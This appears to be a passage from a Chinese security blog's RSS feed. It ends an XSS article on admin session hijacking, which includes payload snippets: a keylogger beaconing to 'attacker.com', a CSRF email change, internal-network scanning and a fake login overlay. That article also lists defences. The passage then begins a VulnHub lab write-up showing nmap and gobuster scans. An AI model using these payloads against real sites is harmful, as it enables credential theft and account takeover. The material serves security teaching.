&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​诱导管理员触发漏洞​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若为反射型XSS，构造含恶意脚本的URL，通过社工手段诱使管理员点击（例如伪装成站内通知链接）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;若为存储型XSS，直接将Payload提交至数据库（如论坛发帖），等待管理员浏览页面自动触发。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​捕获Cookie并劫持会话​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;攻击者从服务器日志提取Cookie中的会话ID（如&lt;code&gt;PHPSESSID=abc123&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用浏览器开发者工具或插件（如EditThisCookie）将Cookie植入自身浏览器，访问后台路径（如&lt;code&gt;/admin&lt;/code&gt;）即可伪装管理员身份。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​PowerShell模拟管理员登录（实验环境）​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;编写脚本自动发送含窃取Cookie的请求：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Invoke-WebRequest -Uri &amp;#34;http://vulnerable-site.com/login&amp;#34; -Method Post -Body @{username=&amp;#34;admin&amp;#34;; password=&amp;#34;P@ssw0rd&amp;#34;} 
# 后续请求携带窃取的Cookie访问后台
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此步骤用于验证会话劫持可行性，无需实际破解密码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2-xss漏洞的其他攻击利用方式"&gt;​&lt;strong&gt;​2. XSS漏洞的其他攻击利用方式​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;除会话劫持外，XSS漏洞可扩展为以下攻击：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​键盘记录与数据窃取​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;注入脚本捕获用户键盘输入（如账号密码），通过&lt;code&gt;Beacon API&lt;/code&gt;发送至攻击者服务器：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;document.addEventListener(&amp;#39;keydown&amp;#39;, e =&amp;gt; navigator.sendBeacon(&amp;#39;http://attacker.com/log&amp;#39;, e.key));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可窃取表单内容、LocalStorage数据（如用户令牌）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​组合CSRF攻击​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;利用XSS绕过CSRF防护，以内联脚本伪造敏感操作（如修改密码）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;fetch(&amp;#39;/account/change_email&amp;#39;, {method: &amp;#39;POST&amp;#39;, body: &amp;#39;email=attacker@example.com&amp;#39;});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;无需用户交互即可接管账户。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​内网探测与反向代理​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;通过恶意脚本扫描内网资源，将结果回传：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;for (let i=1; i&amp;lt;255; i++) fetch(`http://192.168.1.${i}`, {mode: &amp;#39;no-cors&amp;#39;}) 
 .then(() =&amp;gt; sendToAttacker(`192.168.1.${i}_active`));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;用于定位未公开的后台或漏洞设备。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​持久化水坑攻击​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;篡改页面内容（如添加伪造登录弹窗），诱骗用户输入凭证：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;div id=&amp;#34;fakeLogin&amp;#34; style=&amp;#34;position:fixed; top:0; background:white;&amp;#34;&amp;gt; 
 &amp;lt;input type=&amp;#34;text&amp;#34; id=&amp;#34;username&amp;#34; placeholder=&amp;#34;Username&amp;#34;&amp;gt; 
 &amp;lt;input type=&amp;#34;password&amp;#34; id=&amp;#34;password&amp;#34; placeholder=&amp;#34;Password&amp;#34;&amp;gt; 
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;结合事件监听窃取输入数据。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-xss漏洞的攻击目标客户端而非服务器"&gt;​&lt;strong&gt;​3. XSS漏洞的攻击目标：客户端而非服务器​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​&lt;strong&gt;​关键结论​&lt;/strong&gt;​：XSS攻击对象是​&lt;strong&gt;​客户端（用户浏览器）​&lt;/strong&gt;​，而非服务器。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​原理​&lt;/strong&gt;​：&lt;/p&gt;
&lt;p&gt;XSS本质是恶意脚本在用户浏览器执行，利用的是网站对用户输入的​&lt;strong&gt;​输出编码缺失​&lt;/strong&gt;​或​&lt;strong&gt;​DOM处理不当​&lt;/strong&gt;​。服务器仅存储或反射脚本，自身代码不被破坏。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​间接影响服务器场景​&lt;/strong&gt;​：&lt;/p&gt;
&lt;p&gt;若受害者是管理员，攻击者可能通过劫持其会话：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;上传Webshell控制服务器；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;窃取数据库凭据或敏感文件；&lt;/p&gt;
&lt;p&gt;但此过程仍以客户端为跳板，非直接攻击服务端代码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="防御措施关键点"&gt;​&lt;strong&gt;​防御措施关键点​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​输入输出处理​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;输入层：白名单过滤（如仅允许字母数字）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输出层：对动态内容HTML编码（如&lt;code&gt;&amp;lt;&lt;/code&gt;转义为&lt;code&gt;&amp;amp;lt;&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​安全Header配置​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Content-Security-Policy: script-src 'self'&lt;/code&gt;禁止外部脚本。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Set-Cookie: sessionId=xxx; HttpOnly; Secure&lt;/code&gt;阻止JS访问Cookie。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​现代框架防护​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;React/Vue默认转义插值内容，避免&lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;滥用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day25 Web Developer靶场WP</title><link>https://ruajingjing.top/post/day25-web-developer%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Mon, 04 Aug 2025 20:42:26 +0000</pubDate><guid>https://ruajingjing.top/post/day25-web-developer%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day25 Web Developer靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;链接地址下载虚拟镜像：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/web-developer-1,288/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/web-developer-1,288/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;172.168.169.141
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10000&lt;/span&gt; -Pn 172.168.169.146 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://172.168.169.146 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://172.168.169.146/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;22,80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Webdeveloper&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-04 22:01 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0018s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.6p1 Ubuntu &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.29 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Example site &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#8211; Just another WordPress site&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-generator: WordPress 4.9.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.29 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:59:30:A8 &lt;span class="o"&gt;(&lt;/span&gt;VMware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 3.X&lt;span class="p"&gt;|&lt;/span&gt;4.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 3.2 - 4.14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;1&lt;/span&gt; hop
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 13.44 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Webdeveloper&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-04 22:01 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0013s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;| http-wordpress-users:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;| Username found: webdeveloper
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_Search stopped at ID #25. Increase the upper limit if necessary with &amp;#39;&lt;/span&gt;http-wordpress-users.limit&lt;span class="s1"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-stored-xss: Couldn&amp;#39;&lt;/span&gt;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-sql-injection:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Possible sqli &lt;span class="k"&gt;for&lt;/span&gt; queries:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://172.168.169.146:80/wp-includes/js/jquery/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://172.168.169.146:80/wp-includes/js/jquery/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://172.168.169.146:80/wp-includes/js/jquery/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DD%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ http://172.168.169.146:80/wp-includes/js/jquery/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-csrf:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Spidering limited to: &lt;span class="nv"&gt;maxdepth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;maxpagecount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;withinhost&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.168.169.146
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Found the following possible CSRF vulnerabilities:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/
